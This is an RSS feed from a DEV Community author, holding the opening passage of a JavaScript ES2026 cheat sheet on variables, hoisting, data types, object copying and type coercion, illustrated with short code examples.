<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: VIKAS</title>
    <description>The latest articles on DEV Community by VIKAS (@devcodehub99).</description>
    <link>https://dev.to/devcodehub99</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F912241%2Ffe7d2cff-def4-4609-bba6-56465b753a86.jpg</url>
      <title>DEV Community: VIKAS</title>
      <link>https://dev.to/devcodehub99</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/devcodehub99"/>
    <language>en</language>
    <item>
      <title>JavaScript Cheat Sheet 2026: Learn Once, Remember Forever (ES2026)</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Fri, 23 Oct 2026 09:35:06 +0000</pubDate>
      <link>https://dev.to/devcodehub99/javascript-cheat-sheet-2026-learn-once-remember-forever-es2026-cmb</link>
      <guid>https://dev.to/devcodehub99/javascript-cheat-sheet-2026-learn-once-remember-forever-es2026-cmb</guid>
      <description>&lt;p&gt;Most JavaScript tutorials are long. Most cheat sheets stop at ES6. This one does neither.&lt;/p&gt;

&lt;p&gt;It is written against &lt;strong&gt;ECMAScript 2026&lt;/strong&gt; (the 17th edition of the spec, June 2026) and &lt;a href="https://developer.mozilla.org" rel="noopener noreferrer"&gt;MDN&lt;/a&gt;, and it works for three kinds of people:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Beginners and intermediates:&lt;/strong&gt; read it top to bottom like a crash course.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Job seekers:&lt;/strong&gt; jump to Interview Rapid Fire and Predict the Output.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Working devs:&lt;/strong&gt; use the table of contents as a quick revision index.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Every concept follows one pattern: what it is, the smallest useful example, and the trap to avoid.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;How JavaScript runs&lt;/li&gt;
&lt;li&gt;Variables, scope and hoisting&lt;/li&gt;
&lt;li&gt;Data types&lt;/li&gt;
&lt;li&gt;Coercion and equality&lt;/li&gt;
&lt;li&gt;Operators worth knowing&lt;/li&gt;
&lt;li&gt;Strings, numbers and Math&lt;/li&gt;
&lt;li&gt;Control flow and loops&lt;/li&gt;
&lt;li&gt;Functions and this&lt;/li&gt;
&lt;li&gt;Closures&lt;/li&gt;
&lt;li&gt;Objects&lt;/li&gt;
&lt;li&gt;Arrays&lt;/li&gt;
&lt;li&gt;Map, Set, WeakMap, WeakSet&lt;/li&gt;
&lt;li&gt;Prototypes and classes&lt;/li&gt;
&lt;li&gt;Modules&lt;/li&gt;
&lt;li&gt;Asynchronous JavaScript&lt;/li&gt;
&lt;li&gt;Error handling&lt;/li&gt;
&lt;li&gt;Iterators and generators&lt;/li&gt;
&lt;li&gt;JSON, dates and Intl&lt;/li&gt;
&lt;li&gt;Regular expressions&lt;/li&gt;
&lt;li&gt;Browser essentials (DOM and Web APIs)&lt;/li&gt;
&lt;li&gt;Performance and memory&lt;/li&gt;
&lt;li&gt;Security basics&lt;/li&gt;
&lt;li&gt;ES2015 to ES2026 at a glance&lt;/li&gt;
&lt;li&gt;Gotchas that bite everyone&lt;/li&gt;
&lt;li&gt;Predict the Output&lt;/li&gt;
&lt;li&gt;Interview Rapid Fire&lt;/li&gt;
&lt;li&gt;Official resources&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. How JavaScript runs
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;JavaScript is &lt;strong&gt;single-threaded&lt;/strong&gt;: one call stack, one thing at a time.&lt;/li&gt;
&lt;li&gt;It is &lt;strong&gt;interpreted/JIT-compiled&lt;/strong&gt; by an engine (V8 in Chrome, Node.js, Deno and Bun; SpiderMonkey in Firefox; JavaScriptCore in Safari).&lt;/li&gt;
&lt;li&gt;It is &lt;strong&gt;dynamically typed&lt;/strong&gt;: variables have no type, values do.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ECMAScript&lt;/strong&gt; is the language spec. &lt;strong&gt;Web APIs&lt;/strong&gt; (&lt;code&gt;fetch&lt;/code&gt;, DOM, &lt;code&gt;setTimeout&lt;/code&gt;) are provided by the host (browser or Node), not by the language itself.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Runs in&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Browser&lt;/td&gt;
&lt;td&gt;DOM, &lt;code&gt;window&lt;/code&gt;, &lt;code&gt;fetch&lt;/code&gt;, storage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Node.js / Deno / Bun&lt;/td&gt;
&lt;td&gt;Files, network, processes, no DOM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Edge runtimes&lt;/td&gt;
&lt;td&gt;Cloudflare Workers, Vercel Edge (Web APIs, limited Node APIs)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello, JS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// run in browser DevTools console, or: node file.js&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Strict mode (&lt;code&gt;'use strict'&lt;/code&gt;) turns silent mistakes into errors. &lt;strong&gt;ES modules and classes are strict by default&lt;/strong&gt;, so you rarely need the directive today.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  2. Variables, scope and hoisting
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;var&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;let&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;const&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Scope&lt;/td&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;Block&lt;/td&gt;
&lt;td&gt;Block&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reassign&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Redeclare&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hoisted&lt;/td&gt;
&lt;td&gt;Yes, initialized as &lt;code&gt;undefined&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Yes, but in the &lt;strong&gt;Temporal Dead Zone&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;Yes, but in the TDZ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PI&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;3.14159&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="c1"&gt;// default choice&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;            &lt;span class="c1"&gt;// when you need to reassign&lt;/span&gt;
&lt;span class="c1"&gt;// avoid var&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;A&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;B&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="c1"&gt;// allowed: const protects the binding, not the contents&lt;/span&gt;
&lt;span class="c1"&gt;// user = {};             // TypeError&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Scope types:&lt;/strong&gt; global, function, block (&lt;code&gt;{}&lt;/code&gt; with &lt;code&gt;let&lt;/code&gt;/&lt;code&gt;const&lt;/code&gt;), module.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hoisting:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// undefined (var is hoisted)&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// ReferenceError (TDZ)&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;sayHi&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;          &lt;span class="c1"&gt;// works: function declarations are fully hoisted&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;sayHi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hi&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;          &lt;span class="c1"&gt;// TypeError: hello is not a function (var hoisted, value not yet assigned)&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;hello&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Rule of thumb:&lt;/strong&gt; &lt;code&gt;const&lt;/code&gt; by default, &lt;code&gt;let&lt;/code&gt; when needed, never &lt;code&gt;var&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Data types
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;7 primitives&lt;/strong&gt; (immutable, copied by value): &lt;code&gt;string&lt;/code&gt;, &lt;code&gt;number&lt;/code&gt;, &lt;code&gt;bigint&lt;/code&gt;, &lt;code&gt;boolean&lt;/code&gt;, &lt;code&gt;undefined&lt;/code&gt;, &lt;code&gt;null&lt;/code&gt;, &lt;code&gt;symbol&lt;/code&gt;.&lt;br&gt;
&lt;strong&gt;Everything else is an object&lt;/strong&gt; (copied by reference): objects, arrays, functions, dates, maps, sets.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Expression&lt;/th&gt;
&lt;th&gt;
&lt;code&gt;typeof&lt;/code&gt; result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'hi'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;'string'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;42&lt;/code&gt;, &lt;code&gt;NaN&lt;/code&gt;, &lt;code&gt;Infinity&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;'number'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;10n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;'bigint'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;'boolean'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;'undefined'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;'object'&lt;/code&gt; (historic bug)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Symbol()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;'symbol'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;[]&lt;/code&gt;, &lt;code&gt;{}&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;'object'&lt;/code&gt; (use &lt;code&gt;Array.isArray&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;() =&amp;gt; {}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;'function'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isArray&lt;/span&gt;&lt;span class="p"&gt;([]);&lt;/span&gt;          &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;             &lt;span class="c1"&gt;// the right null check&lt;/span&gt;
&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;              &lt;span class="c1"&gt;// true for both null and undefined (the one accepted use of ==)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Value vs reference
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="c1"&gt;// a is still 1 (copied)&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;o1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;o2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;o1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                     &lt;span class="c1"&gt;// same object&lt;/span&gt;
&lt;span class="nx"&gt;o2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                         &lt;span class="c1"&gt;// o1.x is now 99&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Copying objects
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Depth&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;{ ...obj }&lt;/code&gt;, &lt;code&gt;Object.assign({}, obj)&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Shallow&lt;/td&gt;
&lt;td&gt;Nested objects are still shared&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;structuredClone(obj)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Deep&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Handles Date, Map, Set, circular refs. Fails on functions and DOM nodes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;JSON.parse(JSON.stringify(obj))&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deep, lossy&lt;/td&gt;
&lt;td&gt;Drops &lt;code&gt;undefined&lt;/code&gt;, functions, turns Dates into strings. Avoid.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  Number gotchas
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                          &lt;span class="c1"&gt;// false (0.30000000000000004)&lt;/span&gt;
&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;EPSILON&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// true: compare floats like this&lt;/span&gt;
&lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;MAX_SAFE_INTEGER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                    &lt;span class="c1"&gt;// 9007199254740991, beyond this use BigInt&lt;/span&gt;
&lt;span class="kc"&gt;NaN&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;NaN&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                                &lt;span class="c1"&gt;// false&lt;/span&gt;
&lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isNaN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;NaN&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                          &lt;span class="c1"&gt;// true (use this, not isNaN())&lt;/span&gt;
&lt;span class="mi"&gt;9007199254740993&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                     &lt;span class="c1"&gt;// BigInt: arbitrary precision, no mixing with Number&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Coercion and equality
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Use &lt;strong&gt;&lt;code&gt;===&lt;/code&gt;&lt;/strong&gt; always. The only common exception: &lt;code&gt;x == null&lt;/code&gt; to check null or undefined.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;==&lt;/code&gt; converts types first. &lt;code&gt;===&lt;/code&gt; does not.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;           &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="c1"&gt;// false&lt;/span&gt;
&lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// false&lt;/span&gt;
&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;NaN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;NaN&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="c1"&gt;// true (like === but NaN equals NaN, and +0 differs from -0)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Falsy values (there are exactly 8)
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;false&lt;/code&gt;, &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;-0&lt;/code&gt;, &lt;code&gt;0n&lt;/code&gt;, &lt;code&gt;''&lt;/code&gt;, &lt;code&gt;null&lt;/code&gt;, &lt;code&gt;undefined&lt;/code&gt;, &lt;code&gt;NaN&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Everything else is truthy&lt;/strong&gt;, including &lt;code&gt;'0'&lt;/code&gt;, &lt;code&gt;'false'&lt;/code&gt;, &lt;code&gt;[]&lt;/code&gt;, &lt;code&gt;{}&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Classic coercion results
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;        &lt;span class="c1"&gt;// '12'  (+ prefers strings)&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;        &lt;span class="c1"&gt;// 2     (- forces numbers)&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;5&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;      &lt;span class="c1"&gt;// 10&lt;/span&gt;
&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;        &lt;span class="c1"&gt;// ''&lt;/span&gt;
&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;        &lt;span class="c1"&gt;// '[object Object]'&lt;/span&gt;
&lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="c1"&gt;// 2&lt;/span&gt;
&lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;     &lt;span class="c1"&gt;// 0&lt;/span&gt;
&lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;12px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// NaN&lt;/span&gt;
